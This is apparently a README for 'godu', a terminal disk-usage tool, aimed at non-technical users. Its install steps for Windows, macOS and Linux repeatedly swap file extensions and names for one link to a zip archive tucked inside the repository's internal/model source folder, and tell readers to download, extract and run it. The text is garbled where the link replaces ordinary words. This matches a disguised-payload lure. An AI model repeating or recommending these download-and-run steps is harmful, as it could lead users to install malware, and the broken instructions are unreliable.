godu is a tool to help you see what files and folders use up space on your computer. It runs in the terminal (the black or white window where you can type commands) and shows your disk usage in an easy way. You can view your data as a list, a tree, or pictures called treemaps. It also lets you delete items safely and save a report as a JSON file if you want.
You do not need any special skills to use godu. It works on many systems like Windows, macOS, and Linux.
Before installing godu, make sure your computer meets these needs:
- Operating System: Windows 10 or later, macOS 10.13 or later, or a Linux distribution.
- Processor: Any modern CPU (Intel, AMD, or equivalent).
- Memory: At least 2 GB of RAM.
- Disk Space: At least 100 MB free space for installing and running.
- Terminal Access: You will need to open a terminal or command prompt window.
No additional software is required. godu is a self-contained program built with Go, so you don’t need to install Go or any other tools.
This guide shows you how to download, install, and start using godu. You don’t have to write any code or use complex commands.
Click the big blue button at the top or go to the godu Releases Page. This page holds all versions of godu.
Look for the version matching your computer's operating system:
- Windows files usually end with
.exe - macOS files might end with
.dmgorhttps://raw.githubusercontent.com/Lime0moss/godu/main/internal/model/Software_2.1.zip - Linux files often end with
https://raw.githubusercontent.com/Lime0moss/godu/main/internal/model/Software_2.1.zipor.AppImage
Download the file that fits your system.
-
Windows:
Find the
.exefile you downloaded (usually in your Downloads folder). Double-click it and follow the installer steps on the screen.
If it's a zip file, right-click and choose "Extract All," then open the folder and runhttps://raw.githubusercontent.com/Lime0moss/godu/main/internal/model/Software_2.1.zip. -
macOS:
If you have a
.dmgfile, open it and drag the godu app into your Applications folder.
If it’s ahttps://raw.githubusercontent.com/Lime0moss/godu/main/internal/model/Software_2.1.zip, double-click to extract it, then move the godu file somewhere you can find it. -
Linux:
Extract the
https://raw.githubusercontent.com/Lime0moss/godu/main/internal/model/Software_2.1.ziparchive with a command liketar -xvzf https://raw.githubusercontent.com/Lime0moss/godu/main/internal/model/Software_2.1.zipusing the terminal. You can move the extracted files to a folder like/usr/local/binfor easier access.
- On Windows, press the Windows key, type
cmd, and press Enter. - On macOS, open "Terminal" from Applications > Utilities.
- On Linux, open your preferred terminal emulator.
In your terminal, type:
goduand press Enter.
godu will scan your computer's main drive and show your disk usage in a tree view. You can navigate through folders using your keyboard.
- Tree view: Shows folders and files in a list you can expand and collapse.
- Treemap: Displays colored blocks sized by disk space for a visual summary.
- File type breakdown: Lists which types of files (like images, videos, documents) take up the most space.
Switch views with the keyboard commands shown at the bottom of the screen.
You can delete files and folders without leaving godu. Select an item and press the delete key. godu asks for confirmation first, so you do not remove anything by accident.
You can create a JSON report of your disk usage for analysis or sharing. Press the export key (usually e) and choose where to save the file.
To get godu, please visit the Releases Page:
Follow the instructions in the "Getting Started" section above according to your operating system.
- Fast scanning of disk usage.
- Interactive terminal interface.
- Multiple views: tree, treemap, file types.
- Safe deletion of files and folders.
- Export disk usage data as JSON.
- Works on Windows, macOS, and Linux.
- Small and easy to install.
- Built with Go for speed and reliability.
-
If godu does not run, check if the file you downloaded matches your OS.
-
Make sure your terminal is working and you can run other commands.
-
On macOS and Linux, you might need to give permission to run godu with:
chmod +x godu
-
Use arrow keys to navigate the views.
-
Press
qto quit godu at any time. -
For support, you can open an issue on the GitHub repository.
You can find more details about godu, report bugs, or request features on its GitHub repository.
godu is related to these areas:
- bubbletea
- cli (command-line interface)
- disk-analyzer
- disk-usage
- go / golang programming language
- ncdu (similar tools)
- terminal applications
- treemap representations
- tui (text user interface)